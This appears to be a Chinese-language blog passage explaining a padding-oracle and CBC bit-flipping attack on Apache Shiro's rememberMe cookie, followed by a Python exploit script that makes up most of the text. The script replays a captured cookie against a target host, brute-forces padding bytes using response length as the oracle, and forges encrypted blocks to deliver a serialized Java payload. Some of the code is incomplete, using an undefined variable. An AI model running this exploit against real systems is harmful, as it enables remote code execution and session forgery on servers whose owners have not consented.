解决这个问题用到了java反序列化中的一个小trick,java中的ObjectOutputStream是一个Stream,他会按格式以队列方式读下去,后面拼接无关内容,不会影响反序列化。通过这种方式,在抓到的rememberMe之后加新的iv和value,就既能反序列化成功,又能验证padding是否正确了,从而满足了padding oracle所需要的bool条件。具体的padding oracle过程和CBC bit flipping就不详细写了,参考之前大佬们的文章即可。
#coding:utf-8 import requests import base64 import re import subprocess from Crypto.Cipher import AES
#headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://127.0.0.1:8888/samples-web-1.5.0-SNAPSHOT/login.jsp","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} cookies = {"rememberMe":""}
rememberMe = """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""" #填写正常情况应该返回的页面长度 content_length = 17394 rememberMe = base64.b64decode(rememberMe) iv = rememberMe[:16] data = rememberMe[16:]
def padding_oracle(value): fake_iv_array = ['\x00'] * 16 intermediary_value = [] for i in range(0, 16): for j in range(0, 256): fake_iv_array[15 - i] = chr(j) fake_iv = ''.join(fake_iv_array) payload = base64.b64encode(rememberMe + fake_iv + value) cookies["rememberMe"] = payload response = requests.get("http://192.168.0.7/index", cookies=cookies, allow_redirects=False) if len(response.content) == content_length: intermediary_value += chr((i+1) ^ j) for w in range(0, i+1): fake_iv_array[15-w] = chr(ord(intermediary_value[w]) ^ (i+2)) #print(payload) break
intermediary_value = intermediary_value[::-1]
return intermediary_value
def bitFlippingAttack(fake_value, orgin_value): iv = [] for f, o in zip(fake_value, orgin_value): iv.append(chr(ord(f) ^ ord(o))) return iv
value = data[-16:] payload = [value] print(fake_value_arr)
print("Count is %d" % len(fake_value_arr)) count = 1 for i in fake_value_arr: print("-"*50) print(count) intermediary_value = padding_oracle(value) iv = bitFlippingAttack(i, intermediary_value) print(len(iv)) payload.append(''.join(iv)) print(payload) value = ''.join(iv) count += 1